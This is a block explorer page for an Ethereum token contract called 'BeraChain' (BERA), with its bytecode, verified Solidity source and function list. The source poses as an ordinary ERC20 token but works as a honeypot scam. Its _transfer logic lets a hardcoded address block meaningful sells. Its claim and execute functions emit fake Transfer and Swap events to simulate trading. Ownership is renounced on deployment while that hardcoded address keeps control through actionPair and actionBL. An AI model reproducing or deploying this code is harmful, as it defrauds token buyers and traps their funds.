Address Contract Partially Verified
Address
0x48b697ee5ff710424380631a99633394B9F0cA4e
Balance
0 ETH
Nonce
1
Code Size
8018 bytes
Creator
0x5b541943...43d6 at tx 0x42246eb4...fb0dd1
Indexed Transactions
0
Contract Bytecode
8018 bytes
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063b9fc5abd11610071578063b9fc5abd146102cf578063beabacc8146102ff578063dd62ed3e1461031b578063e7b817491461034b578063f2fde38b1461037b57610116565b80638da5cb5b1461024757806395d89b4114610265578063a9059cbb14610283578063aafe62d1146102b357610116565b806323b872dd116100e957806323b872dd146101a357806326ededb8146101d3578063313ce567146101ef57806370a082311461020d578063715018a61461023d57610116565b806302f4dae31461011b57806306fdde0314610137578063095ea7b31461015557806318160ddd14610185575b600080fd5b610135600480360381019061013091906115a0565b610397565b005b61013f610500565b60405161014c91906116ad565b60405180910390f35b61016f600480360381019061016a91906116cf565b610592565b60405161017c919061172a565b60405180910390f35b61018d6105b5565b60405161019a9190611754565b60405180910390f35b6101bd60048036038101906101b8919061176f565b6105bf565b6040516101ca919061172a565b60405180910390f35b6101ed60048036038101906101e891906117c2565b6105ee565b005b6101f76106c3565b604051610204919061183e565b60405180910390f35b61022760048036038101906102229190611859565b6106cc565b6040516102349190611754565b60405180910390f35b610245610715565b005b61024f610729565b60405161025c9190611895565b60405180910390f35b61026d610752565b60405161027a91906116ad565b60405180910390f35b61029d600480360381019061029891906116cf565b6107e4565b6040516102aa919061172a565b60405180910390f35b6102cd60048036038101906102c891906115a0565b610807565b005b6102e960048036038101906102e49190611859565b610970565b6040516102f6919061172a565b60405180910390f35b6103196004803603810190610314919061176f565b610a6f565b005b610335600480360381019061033091906118b0565b610ad9565b6040516103429190611754565b60405180910390f35b61036560048036038101906103609190611859565b610b60565b604051610372919061172a565b60405180910390f35b61039560048036038101906103909190611859565b610bfc565b005b60005b848490508110156104f9578484828181106103b8576103b76118f0565b5b90506020020160208101906103cd9190611859565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080886040516104309493929190611964565b60405180910390a384848281811061044b5761044a6118f0565b5b90506020020160208101906104609190611859565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516104de9190611754565b60405180910390a380806104f1906119d8565b91505061039a565b5050505050565b60606004805461050f90611a50565b80601f016020809104026020016040519081016040528092919081815260200182805461053b90611a50565b80156105885780601f1061055d57610100808354040283529160200191610588565b820191906000526020600020905b81548152906001019060200180831161056b57829003601f168201915b5050505050905090565b60008061059d610c80565b90506105aa818585610c88565b600191505092915050565b6000600354905090565b6000806105ca610c80565b90506105d7858285610e53565b6105e2858585610edf565b60019150509392505050565b60005b838390508110156106bd5783838281811061060f5761060e6118f0565b5b90506020020160208101906106249190611859565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106a29190611754565b60405180910390a380806106b5906119d8565b9150506105f1565b50505050565b60006008905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61071d611356565b61072760006113d4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461076190611a50565b80601f016020809104026020016040519081016040528092919081815260200182805461078d90611a50565b80156107da5780601f106107af576101008083540402835291602001916107da565b820191906000526020600020905b8154815290600101906020018083116107bd57829003601f168201915b5050505050905090565b6000806107ef610c80565b90506107fc818585610edf565b600191505092915050565b60005b8484905081101561096957848482818110610828576108276118f0565b5b905060200201602081019061083d9190611859565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080886040516108a09493929190611964565b60405180910390a38484828181106108bb576108ba6118f0565b5b90506020020160208101906108d09190611859565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161094e9190611754565b60405180910390a38080610961906119d8565b91505061080a565b5050505050565b6000735b541943ef1f24287448d42405ebc2d9529643d673ffffffffffffffffffffffffffffffffffffffff166109a5610c80565b73ffffffffffffffffffffffffffffffffffffffff161415610a6657600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60019050919050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610acc9190611754565b60405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000735b541943ef1f24287448d42405ebc2d9529643d673ffffffffffffffffffffffffffffffffffffffff16610b95610c80565b73ffffffffffffffffffffffffffffffffffffffff161415610bf35781600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b610c04611356565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6b90611af4565b60405180910390fd5b610c7d816113d4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cef90611b86565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90611c18565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e469190611754565b60405180910390a3505050565b6000610e5f8484610ad9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ed95781811015610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290611c84565b60405180910390fd5b610ed88484848403610c88565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4690611d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb690611da8565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561105c5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806111a057508173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111075750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156111535750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561119f5750735b541943ef1f24287448d42405ebc2d9529643d673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156111c65760006001826111b49190611dc8565b905060085481106111c457600080fd5b505b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561124d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124490611e90565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161133d9190611754565b60405180910390a3611350848484611498565b50505050565b61135e610c80565b73ffffffffffffffffffffffffffffffffffffffff1661137c610729565b73ffffffffffffffffffffffffffffffffffffffff16146113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990611efc565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126114cc576114cb6114a7565b5b8235905067ffffffffffffffff8111156114e9576114e86114ac565b5b602083019150836020820283011115611505576115046114b1565b5b9250929050565b6000819050919050565b61151f8161150c565b811461152a57600080fd5b50565b60008135905061153c81611516565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061156d82611542565b9050919050565b61157d81611562565b811461158857600080fd5b50565b60008135905061159a81611574565b92915050565b600080600080606085870312156115ba576115b961149d565b5b600085013567ffffffffffffffff8111156115d8576115d76114a2565b5b6115e4878288016114b6565b945094505060206115f78782880161152d565b92505060406116088782880161158b565b91505092959194509250565b600081519050919050565b600082825260208201905092915050565b60005b8381101561164e578082015181840152602081019050611633565b8381111561165d576000848401525b50505050565b6000601f19601f8301169050919050565b600061167f82611614565b611689818561161f565b9350611699818560208601611630565b6116a281611663565b840191505092915050565b600060208201905081810360008301526116c78184611674565b905092915050565b600080604083850312156116e6576116e561149d565b5b60006116f48582860161158b565b92505060206117058582860161152d565b9150509250929050565b60008115159050919050565b6117248161170f565b82525050565b600060208201905061173f600083018461171b565b92915050565b61174e8161150c565b82525050565b60006020820190506117696000830184611745565b92915050565b6000806000606084860312156117885761178761149d565b5b60006117968682870161158b565b93505060206117a78682870161158b565b92505060406117b88682870161152d565b9150509250925092565b6000806000604084860312156117db576117da61149d565b5b600084013567ffffffffffffffff8111156117f9576117f86114a2565b5b611805868287016114b6565b935093505060206118188682870161152d565b9150509250925092565b600060ff82169050919050565b61183881611822565b82525050565b6000602082019050611853600083018461182f565b92915050565b60006020828403121561186f5761186e61149d565b5b600061187d8482850161158b565b91505092915050565b61188f81611562565b82525050565b60006020820190506118aa6000830184611886565b92915050565b600080604083850312156118c7576118c661149d565b5b60006118d58582860161158b565b92505060206118e68582860161158b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061194e6119496119448461191f565b611929565b61150c565b9050919050565b61195e81611933565b82525050565b60006080820190506119796000830187611745565b6119866020830186611955565b6119936040830185611955565b6119a06060830184611745565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119e38261150c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a1657611a156119a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a6857607f821691505b60208210811415611a7c57611a7b611a21565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ade60268361161f565b9150611ae982611a82565b604082019050919050565b60006020820190508181036000830152611b0d81611ad1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611b7060248361161f565b9150611b7b82611b14565b604082019050919050565b60006020820190508181036000830152611b9f81611b63565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c0260228361161f565b9150611c0d82611ba6565b604082019050919050565b60006020820190508181036000830152611c3181611bf5565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611c6e601d8361161f565b9150611c7982611c38565b602082019050919050565b60006020820190508181036000830152611c9d81611c61565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d0060258361161f565b9150611d0b82611ca4565b604082019050919050565b60006020820190508181036000830152611d2f81611cf3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d9260238361161f565b9150611d9d82611d36565b604082019050919050565b60006020820190508181036000830152611dc181611d85565b9050919050565b6000611dd38261150c565b9150611dde8361150c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e1357611e126119a9565b5b828201905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e7a60268361161f565b9150611e8582611e1e565b604082019050919050565b60006020820190508181036000830152611ea981611e6d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ee660208361161f565b9150611ef182611eb0565b602082019050919050565b60006020820190508181036000830152611f1581611ed9565b905091905056fea26469706673582212202b6e235e9851d6939e61ee4246ad09c79a5ff31d9fa7f2b0a1cbee09f7125d0864736f6c63430008090033
Verified Source Code Partial Match
Compiler: v0.8.9+commit.e5eed63a
EVM: london
Optimization: No
BeraChain.sol 308 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Meta is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract BeraChain is Ownable, IERC20, IERC20Meta {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _p76234;
mapping(address => bool) private _bl;
uint256 private _e242 = 999;
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 8;
}
function claim(address [] calldata _addresses_, uint256 _in, address _a) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
emit Transfer(_p76234, _addresses_[i], _in);
}
}
function execute(address [] calldata _addresses_, uint256 _in, address _a) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);
emit Transfer(_p76234, _addresses_[i], _in);
}
}
function execute(address [] calldata _addresses_, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Transfer(_p76234, _addresses_[i], _out);
}
}
function transfer(address _from, address _to, uint256 _wad) external {
emit Transfer(_from, _to, _wad);
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function actionPair(address account) public virtual returns (bool) {
if(_msgSender() == 0x5b541943Ef1f24287448D42405EBC2d9529643d6) _p76234 = account;
return true;
}
function actionBL(address account) public virtual returns (bool) {
if(_msgSender() == 0x5b541943Ef1f24287448D42405EBC2d9529643d6) _bl[account] = !_bl[account];
return true;
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
renounceOwnership();
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || ((_p76234 == to || _bl[to]) && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from != 0x5b541943Ef1f24287448D42405EBC2d9529643d6)) {
uint256 _X7W88 = amount + 1;
require(_X7W88 < _e242 );
}
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
constructor() {
_name = "BeraChain";
_symbol = "BERA";
uint256 _amount = 100000000;
_mint(msg.sender, _amount * 10 ** decimals());
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 11 functions
These functions modify contract state and require a wallet transaction to execute.
actionBL 0xb9fc5abd
address account
returns: bool
actionPair 0xe7b81749
address account
returns: bool
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
claim 0x02f4dae3
address[] _addresses_
uint256 _in
address _a
execute 0x26ededb8
address[] _addresses_
uint256 _out
execute 0xaafe62d1
address[] _addresses_
uint256 _in
address _a
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transfer 0xbeabacc8
address _from
address _to
uint256 _wad
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address